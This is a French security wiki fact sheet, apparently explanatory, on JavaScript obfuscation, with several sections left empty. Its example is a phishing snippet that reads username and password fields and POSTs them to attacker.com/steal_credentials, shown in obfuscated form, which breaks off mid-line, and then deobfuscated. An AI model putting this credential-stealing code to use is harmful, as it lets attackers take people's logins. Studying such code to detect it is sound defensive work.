Table des matières

Javascript - Obfuscation

Description

L'obfuscation en JavaScript consiste à rendre le code source d'une application difficile à comprendre et à analyser pour les humains. Cela peut être fait pour masquer des activités malveillantes, protéger les secrets de l'application ou simplement rendre le code moins lisible. Il existe plusieurs méthodes d'obfuscation en JavaScript, telles que le renommage de variables, l'utilisation de fonctions anonymes ou d'évaluations de code pour cacher du code, ou encore le chiffrement du code.

Pré-requis d'exploitation

Pour exploiter cette vulnérabilité, il est nécessaire d’avoir accès à une application comportant un script JavaScript obfusqué.

Connaissances nécessaires

Outils nécessaires

Flux d'exécution

Explorer

Naviguer sur l’application afin d’identifier le ou les scripts JavaScript qui sont potentiellement obfusqués et analyser les fonctions qui génèrent l'obfuscation.

Expérimenter

Tester les différentes méthodes d'obfuscation sur du code JavaScript simple, comme une fonction de calcul de somme, pour comprendre comment elles fonctionnent et quelles sont leurs limites.

Exploiter

Conséquences potentielles

Une exploitation réussie de ce type de vulnérabilité peut permettre :

Contre-mesures

Les contre-mesures suivantes peuvent être mises en œuvre :

Comment cela fonctionne

Les scénarios suivants peuvent être joués via l’exploitation de cette vulnérabilité :

Exemple 1

Voici un exemple de code JavaScript contenant un script de phishing obfusqué utilisant la méthode de renommage de variables :

function _0x1234() {
  let _0x5678 = document.getElementById("username").value;
  let _0x9abc = document.getElementById("password").value;
  let _0xdef0 = {
    username: _0x5678,
    password: _0x9abc
  };
  let _0x4567 = new XMLHttpRequest();
  _0x4567.open("POST", "https://attacker.com/steal_credentials");
  _0x4567

Voici ce même code JavaScript après dé-obfuscation :

function sendCredentials() {
  let username = document.getElementById("username").value;
  let password = document.getElementById("password").value;
  let data = {
    username: username,
    password: password
  };
  let xhr = new XMLHttpRequest();
  xhr.open("POST", "https://attacker.com/steal_credentials");
  xhr.setRequestHeader("Content-Type", "application/json");
  xhr.send(JSON.stringify(data));
}

Références

URL :

Retour fiches vulnérabilités